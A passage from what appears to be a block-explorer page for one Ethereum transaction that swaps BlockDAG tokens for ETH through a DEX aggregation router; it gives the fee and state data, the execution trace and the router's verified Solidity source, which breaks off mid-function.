Transaction Hash:
Block:
21566594 at Jan-06-2025 04:24:11 PM +UTC
Transaction Fee:
0.001960866454982576 ETH
$3.61
Gas Used:
67,486 Gas / 29.055899816 Gwei
Account State Difference:
Address | Before | After | State Difference | ||
---|---|---|---|---|---|
0x111dffc1...7Fa6F6B85 |
0.019218029754374402 Eth
Nonce: 34
|
0.017257163299391826 Eth
Nonce: 35
| 0.001960866454982576 | ||
0x4838B106...B0BAD5f97
Miner
| (Titan Builder) | 6.446918180989036622 Eth | 6.447049103829036622 Eth | 0.00013092284 |
Execution Trace
MetaAggregationRouterV2.swapSimpleMode( caller=0xf081470f5C6FBCCF48cC4e5B82Dd926409DcdD67, desc=[{name:srcToken, type:address, order:1, indexed:false, value:0xa5d6aBc273c114EF7071f86C834EE14EA63A1948, valueString:0xa5d6aBc273c114EF7071f86C834EE14EA63A1948}, {name:dstToken, type:address, order:2, indexed:false, value:0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE, valueString:0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE}, {name:srcReceivers, type:address[], order:3, indexed:false, value:[], valueString:[]}, {name:srcAmounts, type:uint256[], order:4, indexed:false, value:[], valueString:[]}, {name:feeReceivers, type:address[], order:5, indexed:false, value:[0x0DA2a82ED2c387d1751ccbAf999A80b65bdb269E], valueString:[0x0DA2a82ED2c387d1751ccbAf999A80b65bdb269E]}, {name:feeAmounts, type:uint256[], order:6, indexed:false, value:[30], valueString:[30]}, {name:dstReceiver, type:address, order:7, indexed:false, value:0x111dffc1722de36D19b299f6927fd4E7Fa6F6B85, valueString:0x111dffc1722de36D19b299f6927fd4E7Fa6F6B85}, {name:amount, type:uint256, order:8, indexed:false, value:5247292123969797907930922, valueString:5247292123969797907930922}, {name:minReturnAmount, type:uint256, order:9, indexed:false, value:226144473360930120, valueString:226144473360930120}, {name:flags, type:uint256, order:10, indexed:false, value:224, valueString:224}, {name:permit, type:bytes, order:11, indexed:false, value:0x, valueString:0x}], executorData=0x000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000A000000000000000000000000000000000000000000000000000000000000000E0000000000000000000000000000000000000000000000000000000000000012000000000000000000000000000000000000000000000000000000000677C0840000000000000000000000000000000000000000000000000000000000000034000000000000000000000000000000000000000000000000000000000000000010000000000000000000000001CB041E17251D1C133630DEBF5BC4318933885C9000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000004572846A97D58B69DDF2A0000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000001C00000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000040593611990000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000001000000000000000000000000001CB041E17251D1C133630DEBF5BC4318933885C9000000000000000000000000A5D6ABC273C114EF7071F86C834EE14EA63A1948000000000000000000000000C02AAA39B223FE8D0A0E5C4F27EAD9083C756CC2000000000000000000000000F081470F5C6FBCCF48CC4E5B82DD926409DCDD670000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000300000000000000000000000000000000000000000000000000000000000003E80000000000000000000000000000000000000000000000000000000000000032000000000000000000000000000000000000000000000000000000000000002000000000000000000000003513C25EE100000000000000000329E4C09C4A18AE, clientData=0x7B22536F75726365223A2264657873637265656E6572222C22416D6F756E74496E555344223A223837302E30333839383236323537373632222C22416D6F756E744F7574555344223A223834372E34333338393136353039353234222C22526566657272616C223A22222C22466C616773223A302C22416D6F756E744F7574223A22323237323830383737373439363738353133222C2254696D657374616D70223A313733363138303632362C22496E74656772697479496E666F223A7B224B65794944223A2231222C225369676E6174757265223A225970576938767741715154432F32474E5142586D6248734D466F654F46754E6D6177626D327063327531324B736F6441646451396A477A5755645175634658686A6E6D2F6C58437A4B4A706F65742B684F326276527768704B675A744536672F36644956585542474F6E536C683955536F4177386B384653635134584E39412B6C384476682B515475514C597A5641306D59653948313532774139376D4E7A516B49447A7852314F38336B62763048505455757A4A52795152536436714F6E614548586863452B4C6667522F32374E42566E686C5849484867664B58634E45546B62666955614D2F586B3235523059387A54764D334C6536696762714A5351484767484B3172686762595662554446686534464872516F6C6D6C324246513951374C534D582F6A7773775947567079756B704F35596A673054767637695938544B75522B6347795550477349487259583059376473773D3D227D7D ) => ( returnAmount=3963877391197344453575983046348115674221700746820753546331534351508065746944, gasUsed=862718293348820473429344482784628181556388621521298319395315527974912 )
-
BlockDAG.balanceOf( account=0x111dffc1722de36D19b299f6927fd4E7Fa6F6B85 ) => ( 5247292123969797907930922 )
-
BlockDAG.balanceOf( account=0x111dffc1722de36D19b299f6927fd4E7Fa6F6B85 ) => ( 5247292123969797907930922 )
-
BlockDAG.transferFrom( sender=0x111dffc1722de36D19b299f6927fd4E7Fa6F6B85, recipient=0x1cb041e17251d1C133630dEBF5BC4318933885C9, amount=5247292123969797907930922 )
swapSimpleMode[MetaAggregationRouterV2 (ln:241)]
gasleft[MetaAggregationRouterV2 (ln:247)]
_isETH[MetaAggregationRouterV2 (ln:248)]
_permit[MetaAggregationRouterV2 (ln:249)]
_flagsChecked[MetaAggregationRouterV2 (ln:252)]
_flagsChecked[MetaAggregationRouterV2 (ln:253)]
_takeFee[MetaAggregationRouterV2 (ln:255)]
_isETH[MetaAggregationRouterV2 (ln:477)]
_getBalance[MetaAggregationRouterV2 (ln:478)]
_doTransferERC20[MetaAggregationRouterV2 (ln:482)]
_isETH[MetaAggregationRouterV2 (ln:313)]
safeTransferETH[MetaAggregationRouterV2 (ln:314)]
safeTransfer[MetaAggregationRouterV2 (ln:317)]
call[TransferHelper (ln:681)]
encodeWithSelector[TransferHelper (ln:681)]
decode[TransferHelper (ln:682)]
safeTransferFrom[MetaAggregationRouterV2 (ln:319)]
call[TransferHelper (ln:692)]
encodeWithSelector[TransferHelper (ln:692)]
decode[TransferHelper (ln:693)]
_getBalance[MetaAggregationRouterV2 (ln:484)]
Fee[MetaAggregationRouterV2 (ln:486)]
_getBalance[MetaAggregationRouterV2 (ln:260)]
_getBalance[MetaAggregationRouterV2 (ln:261)]
_swapMultiSequencesWithSimpleMode[MetaAggregationRouterV2 (ln:262)]
decode[MetaAggregationRouterV2 (ln:333)]
_getBalance[MetaAggregationRouterV2 (ln:344)]
_doTransferERC20[MetaAggregationRouterV2 (ln:345)]
_isETH[MetaAggregationRouterV2 (ln:313)]
safeTransferETH[MetaAggregationRouterV2 (ln:314)]
safeTransfer[MetaAggregationRouterV2 (ln:317)]
call[TransferHelper (ln:681)]
encodeWithSelector[TransferHelper (ln:681)]
decode[TransferHelper (ln:682)]
safeTransferFrom[MetaAggregationRouterV2 (ln:319)]
call[TransferHelper (ln:692)]
encodeWithSelector[TransferHelper (ln:692)]
decode[TransferHelper (ln:693)]
_getBalance[MetaAggregationRouterV2 (ln:347)]
call[MetaAggregationRouterV2 (ln:353)]
encodeWithSelector[MetaAggregationRouterV2 (ln:354)]
revert[MetaAggregationRouterV2 (ln:357)]
call[MetaAggregationRouterV2 (ln:364)]
encodeWithSelector[MetaAggregationRouterV2 (ln:365)]
revert[MetaAggregationRouterV2 (ln:374)]
_getBalance[MetaAggregationRouterV2 (ln:271)]
_flagsChecked[MetaAggregationRouterV2 (ln:274)]
_flagsChecked[MetaAggregationRouterV2 (ln:276)]
_takeFee[MetaAggregationRouterV2 (ln:277)]
_isETH[MetaAggregationRouterV2 (ln:477)]
_getBalance[MetaAggregationRouterV2 (ln:478)]
_doTransferERC20[MetaAggregationRouterV2 (ln:482)]
_isETH[MetaAggregationRouterV2 (ln:313)]
safeTransferETH[MetaAggregationRouterV2 (ln:314)]
safeTransfer[MetaAggregationRouterV2 (ln:317)]
call[TransferHelper (ln:681)]
encodeWithSelector[TransferHelper (ln:681)]
decode[TransferHelper (ln:682)]
safeTransferFrom[MetaAggregationRouterV2 (ln:319)]
call[TransferHelper (ln:692)]
encodeWithSelector[TransferHelper (ln:692)]
decode[TransferHelper (ln:693)]
_getBalance[MetaAggregationRouterV2 (ln:484)]
Fee[MetaAggregationRouterV2 (ln:486)]
_getBalance[MetaAggregationRouterV2 (ln:289)]
_doTransferERC20[MetaAggregationRouterV2 (ln:291)]
_isETH[MetaAggregationRouterV2 (ln:313)]
safeTransferETH[MetaAggregationRouterV2 (ln:314)]
safeTransfer[MetaAggregationRouterV2 (ln:317)]
call[TransferHelper (ln:681)]
encodeWithSelector[TransferHelper (ln:681)]
decode[TransferHelper (ln:682)]
safeTransferFrom[MetaAggregationRouterV2 (ln:319)]
call[TransferHelper (ln:692)]
encodeWithSelector[TransferHelper (ln:692)]
decode[TransferHelper (ln:693)]
_getBalance[MetaAggregationRouterV2 (ln:293)]
_getBalance[MetaAggregationRouterV2 (ln:296)]
_checkReturnAmount[MetaAggregationRouterV2 (ln:297)]
_flagsChecked[MetaAggregationRouterV2 (ln:494)]
Swapped[MetaAggregationRouterV2 (ln:298)]
Exchange[MetaAggregationRouterV2 (ln:299)]
_isETH[MetaAggregationRouterV2 (ln:299)]
ClientData[MetaAggregationRouterV2 (ln:300)]
gasleft[MetaAggregationRouterV2 (ln:302)]
File 1 of 2: MetaAggregationRouterV2
File 2 of 2: BlockDAG
// SPDX-License-Identifier: MIT pragma solidity 0.8.9; import '@openzeppelin/contracts/token/ERC20/IERC20.sol'; import '@openzeppelin/contracts/utils/Context.sol'; import '@openzeppelin/contracts/access/Ownable.sol'; import '@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol'; import './dependency/Permitable.sol'; import './interfaces/IAggregationExecutor.sol'; import './interfaces/IAggregationExecutor1Inch.sol'; import './libraries/TransferHelper.sol'; import './libraries/RevertReasonParser.sol'; contract MetaAggregationRouterV2 is Permitable, Ownable { using SafeERC20 for IERC20; address public immutable WETH; address private constant ETH_ADDRESS = address(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE); uint256 private constant _PARTIAL_FILL = 0x01; uint256 private constant _REQUIRES_EXTRA_ETH = 0x02; uint256 private constant _SHOULD_CLAIM = 0x04; uint256 private constant _BURN_FROM_MSG_SENDER = 0x08; uint256 private constant _BURN_FROM_TX_ORIGIN = 0x10; uint256 private constant _SIMPLE_SWAP = 0x20; uint256 private constant _FEE_ON_DST = 0x40; uint256 private constant _FEE_IN_BPS = 0x80; uint256 private constant _APPROVE_FUND = 0x100; uint256 private constant BPS = 10000; mapping(address => bool) public isWhitelist; struct SwapDescriptionV2 { IERC20 srcToken; IERC20 dstToken; address[] srcReceivers; // transfer src token to these addresses, default uint256[] srcAmounts; address[] feeReceivers; uint256[] feeAmounts; address dstReceiver; uint256 amount; uint256 minReturnAmount; uint256 flags; bytes permit; } /// @dev use for swapGeneric and swap to avoid stack too deep struct SwapExecutionParams { address callTarget; // call this address address approveTarget; // approve this address if _APPROVE_FUND set bytes targetData; SwapDescriptionV2 desc; bytes clientData; } struct SimpleSwapData { address[] firstPools; uint256[] firstSwapAmounts; bytes[] swapDatas; uint256 deadline; bytes destTokenFeeData; } event Swapped( address sender, IERC20 srcToken, IERC20 dstToken, address dstReceiver, uint256 spentAmount, uint256 returnAmount ); event ClientData(bytes clientData); event Exchange(address pair, uint256 amountOut, address output); event Fee(address token, uint256 totalAmount, uint256 totalFee, address[] recipients, uint256[] amounts, bool isBps); constructor(address _WETH) { WETH = _WETH; } receive() external payable {} function rescueFunds(address token, uint256 amount) external onlyOwner { if (_isETH(IERC20(token))) { TransferHelper.safeTransferETH(msg.sender, amount); } else { TransferHelper.safeTransfer(token, msg.sender, amount); } } function updateWhitelist(address[] memory addr, bool[] memory value) external onlyOwner { require(addr.length == value.length); for (uint256 i; i < addr.length; ++i) { isWhitelist[addr[i]] = value[i]; } } function swapGeneric(SwapExecutionParams calldata execution) external payable returns (uint256 returnAmount, uint256 gasUsed) { uint256 gasBefore = gasleft(); require(isWhitelist[execution.callTarget], 'Address not whitelisted'); if (execution.approveTarget != execution.callTarget && execution.approveTarget != address(0)) { require(isWhitelist[execution.approveTarget], 'Address not whitelisted'); } SwapDescriptionV2 memory desc = execution.desc; require(desc.minReturnAmount > 0, 'Invalid min return amount'); // if extra eth is needed, in case srcToken is ETH _collectExtraETHIfNeeded(desc); _permit(desc.srcToken, desc.amount, desc.permit); bool feeInBps = _flagsChecked(desc.flags, _FEE_IN_BPS); uint256 spentAmount; address dstReceiver = desc.dstReceiver == address(0) ? msg.sender : desc.dstReceiver; if (!_flagsChecked(desc.flags, _FEE_ON_DST)) { // fee on src token // take fee on srcToken // take fee and deduct total amount desc.amount = _takeFee(desc.srcToken, msg.sender, desc.feeReceivers, desc.feeAmounts, desc.amount, feeInBps); bool collected; if (!_isETH(desc.srcToken) && _flagsChecked(desc.flags, _SHOULD_CLAIM)) { (collected, desc.amount) = _collectTokenIfNeeded(desc, msg.sender, address(this)); } _transferFromOrApproveTarget(msg.sender, execution.approveTarget, desc, collected); // execute swap (spentAmount, returnAmount) = _executeSwap( execution.callTarget, execution.targetData, desc, _isETH(desc.srcToken) ? desc.amount : 0, dstReceiver ); } else { bool collected; if (!_isETH(desc.srcToken) && _flagsChecked(desc.flags, _SHOULD_CLAIM)) { (collected, desc.amount) = _collectTokenIfNeeded(desc, msg.sender, address(this)); } uint256 initialDstReceiverBalance = _getBalance(desc.dstToken, dstReceiver); _transferFromOrApproveTarget(msg.sender, execution.approveTarget, desc, collected); // fee on dst token // router get dst token first (spentAmount, returnAmount) = _executeSwap( execution.callTarget, execution.targetData, desc, _isETH(desc.srcToken) ? msg.value : 0, address(this) ); { // then take fee on dst token uint256 leftAmount = _takeFee( desc.dstToken, address(this), desc.feeReceivers, desc.feeAmounts, returnAmount, feeInBps ); _doTransferERC20(desc.dstToken, address(this), dstReceiver, leftAmount); } returnAmount = _getBalance(desc.dstToken, dstReceiver) - initialDstReceiverBalance; } // check return amount _checkReturnAmount(spentAmount, returnAmount, desc); //revoke allowance if (!_isETH(desc.srcToken) && execution.approveTarget != address(0)) { desc.srcToken.safeApprove(execution.approveTarget, 0); } emit Swapped(msg.sender, desc.srcToken, desc.dstToken, dstReceiver, spentAmount, returnAmount); emit Exchange(execution.callTarget, returnAmount, _isETH(desc.dstToken) ? WETH : address(desc.dstToken)); emit ClientData(execution.clientData); unchecked { gasUsed = gasBefore - gasleft(); } } function swap(SwapExecutionParams calldata execution) external payable returns (uint256 returnAmount, uint256 gasUsed) { uint256 gasBefore = gasleft(); SwapDescriptionV2 memory desc = execution.desc; require(desc.minReturnAmount > 0, 'Min return should not be 0'); require(execution.targetData.length > 0, 'executorData should be not zero'); // simple mode swap if (_flagsChecked(desc.flags, _SIMPLE_SWAP)) { return swapSimpleMode(IAggregationExecutor(execution.callTarget), desc, execution.targetData, execution.clientData); } _collectExtraETHIfNeeded(desc); _permit(desc.srcToken, desc.amount, desc.permit); bool feeInBps = _flagsChecked(desc.flags, _FEE_IN_BPS); uint256 spentAmount; address dstReceiver = desc.dstReceiver == address(0) ? msg.sender : desc.dstReceiver; if (!_flagsChecked(desc.flags, _FEE_ON_DST)) { // fee on src token { // take fee on srcToken // deduct total swap amount desc.amount = _takeFee( desc.srcToken, msg.sender, desc.feeReceivers, desc.feeAmounts, _isETH(desc.srcToken) ? msg.value : desc.amount, feeInBps ); // transfer fund from msg.sender to our executor _transferFromOrApproveTarget(msg.sender, address(0), desc, false); // execute swap (spentAmount, returnAmount) = _executeSwap( execution.callTarget, abi.encodeWithSelector(IAggregationExecutor.callBytes.selector, execution.targetData), desc, _isETH(desc.srcToken) ? desc.amount : 0, dstReceiver ); } } else { // fee on dst token // router get dst token first uint256 initialDstReceiverBalance = _getBalance(desc.dstToken, dstReceiver); // transfer fund from msg.sender to our executor _transferFromOrApproveTarget(msg.sender, address(0), desc, false); // swap to receive dstToken on this router (spentAmount, returnAmount) = _executeSwap( execution.callTarget, abi.encodeWithSelector(IAggregationExecutor.callBytes.selector, execution.targetData), desc, _isETH(desc.srcToken) ? msg.value : 0, address(this) ); { // then take fee on dst token uint256 leftAmount = _takeFee( desc.dstToken, address(this), desc.feeReceivers, desc.feeAmounts, returnAmount, feeInBps ); _doTransferERC20(desc.dstToken, address(this), dstReceiver, leftAmount); } returnAmount = _getBalance(desc.dstToken, dstReceiver) - initialDstReceiverBalance; } _checkReturnAmount(spentAmount, returnAmount, desc); emit Swapped(msg.sender, desc.srcToken, desc.dstToken, dstReceiver, spentAmount, returnAmount); emit Exchange(execution.callTarget, returnAmount, _isETH(desc.dstToken) ? WETH : address(desc.dstToken)); emit ClientData(execution.clientData); unchecked { gasUsed = gasBefore - gasleft(); } } function swapSimpleMode( IAggregationExecutor caller, SwapDescriptionV2 memory desc, bytes calldata executorData, bytes calldata clientData ) public returns (uint256 returnAmount, uint256 gasUsed) { uint256 gasBefore = gasleft(); require(!_isETH(desc.srcToken), 'src is eth, should use normal swap'); _permit(desc.srcToken, desc.amount, desc.permit); address dstReceiver = (desc.dstReceiver == address(0)) ? msg.sender : desc.dstReceiver; { bool isBps = _flagsChecked(desc.flags, _FEE_IN_BPS); if (!_flagsChecked(desc.flags, _FEE_ON_DST)) { // take fee and deduct total swap amount desc.amount = _takeFee(desc.srcToken, msg.sender, desc.feeReceivers, desc.feeAmounts, desc.amount, isBps); } else { dstReceiver = address(this); } } uint256 initialDstBalance = _getBalance(desc.dstToken, dstReceiver); uint256 initialSrcBalance = _getBalance(desc.srcToken, msg.sender); _swapMultiSequencesWithSimpleMode( caller, address(desc.srcToken), desc.amount, address(desc.dstToken), dstReceiver, executorData ); // amount returned to this router returnAmount = _getBalance(desc.dstToken, dstReceiver) - initialDstBalance; { // take fee if (_flagsChecked(desc.flags, _FEE_ON_DST)) { { bool isBps = _flagsChecked(desc.flags, _FEE_IN_BPS); returnAmount = _takeFee( desc.dstToken, address(this), desc.feeReceivers, desc.feeAmounts, returnAmount, isBps ); } IERC20 dstToken = desc.dstToken; dstReceiver = desc.dstReceiver == address(0) ? msg.sender : desc.dstReceiver; // dst receiver initial balance initialDstBalance = _getBalance(dstToken, dstReceiver); // transfer remainning token to dst receiver _doTransferERC20(dstToken, address(this), dstReceiver, returnAmount); // amount returned to dst receiver returnAmount = _getBalance(dstToken, dstReceiver) - initialDstBalance; } } uint256 spentAmount = initialSrcBalance - _getBalance(desc.srcToken, msg.sender); _checkReturnAmount(spentAmount, returnAmount, desc); emit Swapped(msg.sender, desc.srcToken, desc.dstToken, dstReceiver, spentAmount, returnAmount); emit Exchange(address(caller), returnAmount, _isETH(desc.dstToken) ? WETH : address(desc.dstToken)); emit ClientData(clientData); unchecked { gasUsed = gasBefore - gasleft(); } } function _doTransferERC20( IERC20 token, address from, address to, uint256 amount ) internal { require(from != to, 'sender != recipient'); if (amount > 0) { if (_isETH(token)) { if (from == address(this)) TransferHelper.safeTransferETH(to, amount); } else { if (from == address(this)) { TransferHelper.safeTransfer(address(token), to, amount); } else { TransferHelper.safeTransferFrom(address(token), from, to, amount); } } } } // Only use this mode if the first pool of each sequence can receive tokenIn directly into the pool function _swapMultiSequencesWithSimpleMode( IAggregationExecutor caller, address tokenIn, uint256 totalSwapAmount, address tokenOut, address dstReceiver, bytes calldata data ) internal { SimpleSwapData memory swapData = abi.decode(data, (SimpleSwapData)); require(swapData.deadline >= block.timestamp, 'ROUTER: Expired'); require( swapData.firstPools.length == swapData.firstSwapAmounts.length && swapData.firstPools.length == swapData.swapDatas.length, 'invalid swap data length' ); uint256 numberSeq = swapData.firstPools.length; for (uint256 i = 0; i < numberSeq; i++) { // collect amount to the first pool { uint256 balanceBefore = _getBalance(IERC20(tokenIn), msg.sender); _doTransferERC20(IERC20(tokenIn), msg.sender, swapData.firstPools[i], swapData.firstSwapAmounts[i]); require(swapData.firstSwapAmounts[i] <= totalSwapAmount, 'invalid swap amount'); uint256 spentAmount = balanceBefore - _getBalance(IERC20(tokenIn), msg.sender); totalSwapAmount -= spentAmount; } { // solhint-disable-next-line avoid-low-level-calls // may take some native tokens for commission fee (bool success, bytes memory result) = address(caller).call( abi.encodeWithSelector(caller.swapSingleSequence.selector, swapData.swapDatas[i]) ); if (!success) { revert(RevertReasonParser.parse(result, 'swapSingleSequence failed: ')); } } } { // solhint-disable-next-line avoid-low-level-calls // may take some native tokens for commission fee (bool success, bytes memory result) = address(caller).call( abi.encodeWithSelector( caller.finalTransactionProcessing.selector, tokenIn, tokenOut, dstReceiver, swapData.destTokenFeeData ) ); if (!success) { revert(RevertReasonParser.parse(result, 'finalTransactionProcessing failed: ')); } } } function _getBalance(IERC20 token, address account) internal view returns (uint256) { if (_isETH(token)) { return account.balance; } else { return token.balanceOf(account); } } function _isETH(IERC20 token) internal pure returns (bool) { return (address(token) == ETH_ADDRESS); } /// @dev this function calls to external contract to execute swap and also validate the returned amounts function _executeSwap( address callTarget, bytes memory targetData, SwapDescriptionV2 memory desc, uint256 value, address dstReceiver ) internal returns (uint256 spentAmount, uint256 returnAmount) { uint256 initialDstBalance = _getBalance(desc.dstToken, dstReceiver); uint256 routerInitialSrcBalance = _getBalance(desc.srcToken, address(this)); uint256 routerInitialDstBalance = _getBalance(desc.dstToken, address(this)); { // call to external contract (bool success, ) = callTarget.call{value: value}(targetData); require(success, 'Call failed'); } // if the `callTarget` returns amount to `msg.sender`, meaning this contract if (dstReceiver != address(this)) { uint256 stuckAmount = _getBalance(desc.dstToken, address(this)) - routerInitialDstBalance; _doTransferERC20(desc.dstToken, address(this), dstReceiver, stuckAmount); } // safe check here returnAmount = _getBalance(desc.dstToken, dstReceiver) - initialDstBalance; spentAmount = desc.amount; //should refund tokens router collected when partial fill if ( _flagsChecked(desc.flags, _PARTIAL_FILL) && (_isETH(desc.srcToken) || _flagsChecked(desc.flags, _SHOULD_CLAIM)) ) { uint256 currBalance = _getBalance(desc.srcToken, address(this)); if (currBalance != routerInitialSrcBalance) { spentAmount = routerInitialSrcBalance - currBalance; _doTransferERC20(desc.srcToken, address(this), msg.sender, desc.amount - spentAmount); } } } function _collectExtraETHIfNeeded(SwapDescriptionV2 memory desc) internal { bool srcETH = _isETH(desc.srcToken); if (_flagsChecked(desc.flags, _REQUIRES_EXTRA_ETH)) { require(msg.value > (srcETH ? desc.amount : 0), 'Invalid msg.value'); } else { require(msg.value == (srcETH ? desc.amount : 0), 'Invalid msg.value'); } } function _collectTokenIfNeeded( SwapDescriptionV2 memory desc, address from, address to ) internal returns (bool collected, uint256 amount) { require(!_isETH(desc.srcToken), 'Claim token is ETH'); uint256 initialRouterSrcBalance = _getBalance(desc.srcToken, address(this)); _doTransferERC20(desc.srcToken, from, to, desc.amount); collected = true; amount = _getBalance(desc.srcToken, address(this)) - initialRouterSrcBalance; } /// @dev transfer fund to `callTarget` or approve `approveTarget` function _transferFromOrApproveTarget( address from, address approveTarget, SwapDescriptionV2 memory desc, bool collected ) internal { // if token is collected require(desc.srcReceivers.length == desc.srcAmounts.length, 'invalid srcReceivers length'); if (collected) { if (_flagsChecked(desc.flags, _APPROVE_FUND) && approveTarget != address(0)) { // approve to approveTarget since some systems use an allowance proxy contract desc.srcToken.safeIncreaseAllowance(approveTarget, desc.amount); return; } } uint256 total; for (uint256 i; i < desc.srcReceivers.length; ++i) { total += desc.srcAmounts[i]; _doTransferERC20(desc.srcToken, collected ? address(this) : from, desc.srcReceivers[i], desc.srcAmounts[i]); } require(total <= desc.amount, 'Exceeded desc.amount'); } /// @dev token transferred from `from` to `feeData.recipients` function _takeFee( IERC20 token, address from, address[] memory recipients, uint256[] memory amounts, uint256 totalAmount, bool inBps ) internal returns (uint256 leftAmount) { leftAmount = totalAmount; uint256 recipientsLen = recipients.length; if (recipientsLen > 0) { bool isETH = _isETH(token); uint256 balanceBefore = _getBalance(token, isETH ? address(this) : from); require(amounts.length == recipientsLen, 'Invalid length'); for (uint256 i; i < recipientsLen; ++i) { uint256 amount = inBps ? (totalAmount * amounts[i]) / BPS : amounts[i]; _doTransferERC20(token, isETH ? address(this) : from, recipients[i], amount); } uint256 totalFee = balanceBefore - _getBalance(token, isETH ? address(this) : from); leftAmount = totalAmount - totalFee; emit Fee(address(token), totalAmount, totalFee, recipients, amounts, inBps); } } function _checkReturnAmount( uint256 spentAmount, uint256 returnAmount, SwapDescriptionV2 memory desc ) internal pure { if (_flagsChecked(desc.flags, _PARTIAL_FILL)) { require(returnAmount * desc.amount >= desc.minReturnAmount * spentAmount, 'Return amount is not enough'); } else { require(returnAmount >= desc.minReturnAmount, 'Return amount is not enough'); } } function _flagsChecked(uint256 number, uint256 flag) internal pure returns (bool) { return number & flag != 0; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import '@openzeppelin/contracts/token/ERC20/IERC20.sol'; import '@openzeppelin/contracts/token/ERC20/extensions/draft-IERC20Permit.sol'; import '../libraries/RevertReasonParser.sol'; /* “Copyright (c) 2019-2021 1inch Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE”. */ contract Permitable { event Error(string reason); function _permit( IERC20 token, uint256 amount, bytes memory permit ) internal { if (permit.length == 32 * 7) { // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory result) = address(token).call( abi.encodePacked(IERC20Permit.permit.selector, permit) ); if (!success) { string memory reason = RevertReasonParser.parse(result, 'Permit call failed: '); if (token.allowance(msg.sender, address(this)) < amount) { revert(reason); } else { emit Error(reason); } } } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.12; interface IAggregationExecutor { function callBytes(bytes calldata data) external payable; // 0xd9c45357 // callbytes per swap sequence function swapSingleSequence(bytes calldata data) external; function finalTransactionProcessing( address tokenIn, address tokenOut, address to, bytes calldata destTokenFeeData ) external; } // SPDX-License-Identifier: MIT pragma solidity 0.8.9; import '@openzeppelin/contracts/interfaces/IERC20.sol'; interface IAggregationExecutor1Inch { function callBytes(address msgSender, bytes calldata data) external payable; // 0x2636f7f8 } interface IAggregationRouter1InchV4 { function swap( IAggregationExecutor1Inch caller, SwapDescription1Inch calldata desc, bytes calldata data ) external payable returns (uint256 returnAmount, uint256 gasLeft); } struct SwapDescription1Inch { IERC20 srcToken; IERC20 dstToken; address payable srcReceiver; address payable dstReceiver; uint256 amount; uint256 minReturnAmount; uint256 flags; bytes permit; } struct SwapDescriptionExecutor1Inch { IERC20 srcToken; IERC20 dstToken; address payable srcReceiver1Inch; address payable dstReceiver; address[] srcReceivers; uint256[] srcAmounts; uint256 amount; uint256 minReturnAmount; uint256 flags; bytes permit; } // SPDX-License-Identifier: GPL-3.0-or-later pragma solidity >=0.7.6; /* “Copyright (c) 2019-2021 1inch Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE”. */ library RevertReasonParser { function parse(bytes memory data, string memory prefix) internal pure returns (string memory) { // https://solidity.readthedocs.io/en/latest/control-structures.html#revert // We assume that revert reason is abi-encoded as Error(string) // 68 = 4-byte selector 0x08c379a0 + 32 bytes offset + 32 bytes length if (data.length >= 68 && data[0] == '\\x08' && data[1] == '\\xc3' && data[2] == '\\x79' && data[3] == '\\xa0') { string memory reason; // solhint-disable no-inline-assembly assembly { // 68 = 32 bytes data length + 4-byte selector + 32 bytes offset reason := add(data, 68) } /* revert reason is padded up to 32 bytes with ABI encoder: Error(string) also sometimes there is extra 32 bytes of zeros padded in the end: https://github.com/ethereum/solidity/issues/10170 because of that we can't check for equality and instead check that string length + extra 68 bytes is less than overall data length */ require(data.length >= 68 + bytes(reason).length, 'Invalid revert reason'); return string(abi.encodePacked(prefix, 'Error(', reason, ')')); } // 36 = 4-byte selector 0x4e487b71 + 32 bytes integer else if (data.length == 36 && data[0] == '\\x4e' && data[1] == '\\x48' && data[2] == '\\x7b' && data[3] == '\\x71') { uint256 code; // solhint-disable no-inline-assembly assembly { // 36 = 32 bytes data length + 4-byte selector code := mload(add(data, 36)) } return string(abi.encodePacked(prefix, 'Panic(', _toHex(code), ')')); } return string(abi.encodePacked(prefix, 'Unknown(', _toHex(data), ')')); } function 